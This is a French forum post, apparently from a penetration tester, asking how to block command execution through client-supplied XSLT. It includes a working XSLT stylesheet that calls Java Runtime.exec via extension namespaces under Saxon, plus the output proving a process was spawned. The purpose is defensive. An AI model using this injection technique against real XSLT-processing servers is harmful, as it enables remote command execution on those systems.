Bonjour,

Je suis sur un problème de sécurité.

Je voudrais interdire à quiconque, de faire des intrusions dans le système en modifiant les feuilles XSLT.
Or ces dernières, sont délivrer par les clients, donc faire en sorte que seuls du XSLT « standard » soit autorisé.
Je fais des tests d'intrusion.

Voici un exemple de XML :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<pipo>
  <toto>dudu</toto>
</pipo>
Le XSL :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0"
  xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"
  xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 
  <xsl:output method="xml" encoding="UTF-8" indent="yes"/>
 
  <xsl:variable name="xslVendor" select="system-property('xsl:vendor')" />
  <xsl:variable name="xslVendorUrl" select="system-property('xsl:vendor-url')" />
  <xsl:variable name="xslVersion" select="system-property('xsl:version')" />
 
  <xsl:template match="/">
    <xsl:apply-templates select="pipo" />
  </xsl:template>
 
  <xsl:template match="pipo">
    <bidon>
      <xsl:variable name="rtobject" select="runtime:getRuntime()" />
      <xsl:variable name="process" select="runtime:exec($rtobject, 'ping 999.999.999.999')" />
      <xsl:variable name="waiting" select="process:waitFor($process)" />
      <xsl:value-of select="$process" />
      <infos>
        <process><xsl:value-of select="$process" /></process>
        <vendor><xsl:value-of select="$xslVendor" /></vendor>
        <url><xsl:value-of select="$xslVendorUrl" /></url>
        <version><xsl:value-of select="$xslVersion" /></version>
      </infos>
    </bidon>
  </xsl:template>
 
</xsl:stylesheet>
où l'adresse IP (999.999.999.999) est celle d'un autre ordinateur à attaquer.

J'exécute ce code sur UNIX avec la librairie « saxon-8.7.1.jar ».

Code : Sélectionner tout - Visualiser dans une fenêtre à part
java -cp saxon-8.7.1.jar net.sf.saxon.Transform test.xml test.xsl
Ce qui me donne :

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
Warning: Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>
<bidon xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"
       xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process">java.lang.UNIXProcess@a1a0a1a<infos>
      <process>java.lang.UNIXProcess@a1a0a1a</process>
      <vendor>SAXON 8.7.1 from Saxonica</vendor>
      <url>http://www.saxonica.com/</url>
      <version>2.0</version>
   </infos>
et on voit qu'un process a été créé :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
# ps
      PID    TTY  TIME CMD
 27918356  pts/0  0:00 -ksh
 58589424  pts/0  0:00 ping 999.999.999.999
  8716572  pts/0  0:00 ps
Je voudrais que cela ne soit plus possible.

Pour cela, d'après ce que j'ai vu sur le NET, il faudrait valoriser http://javax.xml.XMLConstants/feature/secure-processing à true.

Or, si je fais cela :

Code : Sélectionner tout - Visualiser dans une fenêtre à part
java -Dhttp://javax.xml.XMLConstants/feature/secure-processing="true" -cp saxon-8.7.1.jar net.sf.saxon.Transform test.xml test.xsl
J'obtiens la même chose !
Ca ne marche pas !?

Quelqu'un peut-il m'aider ?
Merci.